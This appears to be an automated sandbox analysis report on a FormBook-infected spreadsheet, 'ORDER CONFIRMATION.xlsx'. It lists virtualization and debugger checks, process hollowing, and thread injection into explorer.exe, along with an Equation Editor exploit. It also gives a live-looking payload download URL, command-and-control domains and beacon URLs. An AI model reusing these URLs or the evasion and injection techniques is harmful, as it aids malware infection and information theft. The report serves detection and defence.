Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Public\vbc.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 38487 Jump to behavior
Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: explorer.exe, 00000009.00000000.483010699.0000000000255000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000009.00000000.487770072.000000000457A000.00000004.00000001.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: vbc.exe, 00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp Binary or memory string: vmware
Source: vbc.exe, 00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: vbc.exe, 00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000009.00000000.487770072.000000000457A000.00000004.00000001.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp Binary or memory string: VMWARE
Source: vbc.exe, 00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000009.00000000.499415292.000000000029B000.00000004.00000020.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0*N
Source: explorer.exe, 00000009.00000000.523219714.00000000045D6000.00000004.00000001.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: vbc.exe, 00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: vbc.exe, 00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp Binary or memory string: VMware SVGA II
Source: explorer.exe, 00000009.00000000.505298411.00000000083A6000.00000004.00000001.sdmp Binary or memory string: .SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: vbc.exe, 00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000

Anti Debugging:

barindex
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 8_2_004088B0 rdtsc 8_2_004088B0
Enables debug privileges
Source: C:\Users\Public\vbc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\Public\vbc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A826F8 mov eax, dword ptr fs:[00000030h] 8_2_00A826F8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F526F8 mov eax, dword ptr fs:[00000030h] 11_2_01F526F8
Checks if the current process is being debugged
Source: C:\Users\Public\vbc.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\Public\vbc.exe Code function: 8_2_00409B20 LdrLoadDll, 8_2_00409B20
Source: C:\Users\Public\vbc.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.americanstonesusa.com
Source: C:\Windows\explorer.exe Network Connect: 34.98.99.30 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.realstyleworks.com
Source: C:\Windows\explorer.exe Domain query: www.plasticplank.com
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 192.99.131.252 80 Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\Public\vbc.exe Section unmapped: C:\Windows\SysWOW64\ipconfig.exe base address: 2F0000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\Public\vbc.exe Memory written: C:\Users\Public\vbc.exe base: 400000 value starts with: 4D5A Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\Public\vbc.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\Public\vbc.exe Thread register set: target process: 1764 Jump to behavior
Source: C:\Users\Public\vbc.exe Thread register set: target process: 1764 Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Thread register set: target process: 1764 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe' Jump to behavior
Source: explorer.exe, 00000009.00000000.499712873.0000000000750000.00000002.00020000.sdmp, ipconfig.exe, 0000000B.00000002.687764984.0000000000840000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000009.00000000.483010699.0000000000255000.00000004.00000020.sdmp Binary or memory string: ProgmanG
Source: explorer.exe, 00000009.00000000.499712873.0000000000750000.00000002.00020000.sdmp, ipconfig.exe, 0000000B.00000002.687764984.0000000000840000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: explorer.exe, 00000009.00000000.499712873.0000000000750000.00000002.00020000.sdmp, ipconfig.exe, 0000000B.00000002.687764984.0000000000840000.00000002.00020000.sdmp Binary or memory string: Program Manager<

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\Public\vbc.exe Queries volume information: C:\Users\Public\vbc.exe VolumeInformation Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687551604.00000000002C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687415275.00000000000C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.540998722.00000000001C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.540894487.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.506424858.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.498846912.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687510611.0000000000290000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.481283058.00000000033B9000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687551604.00000000002C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687415275.00000000000C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.540998722.00000000001C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.540894487.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.506424858.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.498846912.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687510611.0000000000290000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.481283058.00000000033B9000.00000004.00000001.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 483668 Sample: ORDER CONFIRMATION.xlsx Startdate: 15/09/2021 Architecture: WINDOWS Score: 100 39 www.thaysay.net 2->39 41 www.thaibinhgear.com 2->41 43 20 other IPs or domains 2->43 61 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->61 63 Found malware configuration 2->63 65 Malicious sample detected (through community Yara rule) 2->65 67 16 other signatures 2->67 10 EQNEDT32.EXE 12 2->10         started        15 EXCEL.EXE 34 36 2->15         started        signatures3 process4 dnsIp5 45 198.23.212.143, 49167, 80 AS-COLOCROSSINGUS United States 10->45 33 C:\Users\user\AppData\Local\...\vbc[1].exe, PE32 10->33 dropped 35 C:\Users\Public\vbc.exe, PE32 10->35 dropped 85 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 10->85 17 vbc.exe 10->17         started        37 C:\Users\user\...\~$ORDER CONFIRMATION.xlsx, data 15->37 dropped file6 signatures7 process8 signatures9 53 Machine Learning detection for dropped file 17->53 55 Uses ipconfig to lookup or modify the Windows network settings 17->55 57 Tries to detect virtualization through RDTSC time measurements 17->57 59 Injects a PE file into a foreign processes 17->59 20 vbc.exe 17->20         started        23 vbc.exe 17->23         started        process10 signatures11 69 Modifies the context of a thread in another process (thread injection) 20->69 71 Maps a DLL or memory area into another process 20->71 73 Sample uses process hollowing technique 20->73 75 Queues an APC in another process (thread injection) 20->75 25 ipconfig.exe 20->25         started        28 explorer.exe 20->28 injected process12 dnsIp13 77 Modifies the context of a thread in another process (thread injection) 25->77 79 Maps a DLL or memory area into another process 25->79 81 Tries to detect virtualization through RDTSC time measurements 25->81 31 cmd.exe 25->31         started        47 americanstonesusa.com 192.99.131.252, 49168, 49183, 49198 OVHFR Canada 28->47 49 www.realstyleworks.com 28->49 51 5 other IPs or domains 28->51 83 System process connects to network (likely due to code injection or exploit) 28->83 signatures14 process15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
198.23.212.143
 unknown United States
36352 AS-COLOCROSSINGUS true
34.102.136.180
 plasticplank.com United States
15169 GOOGLEUS false
34.98.99.30
 realstyleworks.com United States
15169 GOOGLEUS false
192.99.131.252
 americanstonesusa.com Canada
16276 OVHFR true

Contacted Domains

Name IP Active
plasticplank.com 34.102.136.180 true
thaibinhgear.com 45.252.248.16 true
hanlansmojitovillage.net 34.102.136.180 true
americanstonesusa.com 192.99.131.252 true
www.aedenpure.com 217.160.0.177 true
thaysay.net 34.102.136.180 true
requotation.com 184.168.131.241 true
realstyleworks.com 34.98.99.30 true
www.tomrings.com 162.0.214.58 true
cname.landingi.com 52.212.68.12 true
goldmig.com 203.16.60.34 true
authorjameswshepherdonline.com 34.102.136.180 true
oakridge-pm.com 184.168.131.241 true
onpar-golf.com 34.102.136.180 true
www.americanstonesusa.com unknown unknown
www.thaysay.net unknown unknown
www.asoboawa.com unknown unknown
www.realstyleworks.com unknown unknown
www.mysahuarita.com unknown unknown
www.oakridge-pm.com unknown unknown
www.renatradingbv.com unknown unknown
www.thaibinhgear.com unknown unknown
www.plasticplank.com unknown unknown
www.authorjameswshepherdonline.com unknown unknown
www.goldmig.com unknown unknown
www.onpar-golf.com unknown unknown
www.hanlansmojitovillage.net unknown unknown
www.requotation.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.americanstonesusa.com/nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=TiWkgH4UkC7CIqz9ktcRQySnot/hSP0U84YZk1QGO5z/hARin1ng6rxU4Y++sy6YdGpizQ== true
  • Avira URL Cloud: safe
 unknown
http://www.authorjameswshepherdonline.com/nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=enVshZ5ucPnpEJ79XKthUFU7GSCP6zpooNwVCr/P0s5BKPQIOoeKppWI2ezsgMpUEHhlAA== false
  • Avira URL Cloud: safe
 unknown
http://www.realstyleworks.com/nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=QEezsAFDlNAB3yJURHSMHXjRGqVB06lXE20lDVvtKCtrVdaWOVmvQD4ln9eCVkj8l4WBCQ== false
  • Avira URL Cloud: safe
 unknown
http://www.plasticplank.com/nthe/?5jo4nr=S+ZwTBrK0+7RoomNfSvQ9j84ffpxKdfieFGWtVtD4WHCIMGVYLqiZt07bDY98RTkl0TyTg==&t48tJ=fJEp_HN8mPiTHN5P false
  • Avira URL Cloud: malware
 unknown
http://www.hanlansmojitovillage.net/nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=54OfAHeKGwMzfFPkI96ZbDhctG36f6+/FiUzkHshmPfrtcl9VWH+3olASXX+4wyWJIckJQ== false
  • Avira URL Cloud: safe
 unknown
www.hanlansmojitovillage.net/nthe/ true
  • Avira URL Cloud: safe
 low
http://www.onpar-golf.com/nthe/?5jo4nr=B6rYep0Vm3M2EhGqYu/feA67U2SQJtGoCN7KN6fFlDVSMwI26b57yYW0nsnzi8vT4Ky8RQ==&t48tJ=fJEp_HN8mPiTHN5P false
  • Avira URL Cloud: safe
 unknown
http://198.23.212.143/ddr/vbc.exe true
  • Avira URL Cloud: malware
 unknown
http://www.thaysay.net/nthe/?5jo4nr=JnpX3/YBBy9TCXbKhp8uYEFRBGzb3gJR2p4kRdES4yzOlzRdyh/c8y0xiKK/8z4KJyQSLA==&t48tJ=fJEp_HN8mPiTHN5P false
  • Avira URL Cloud: safe
 unknown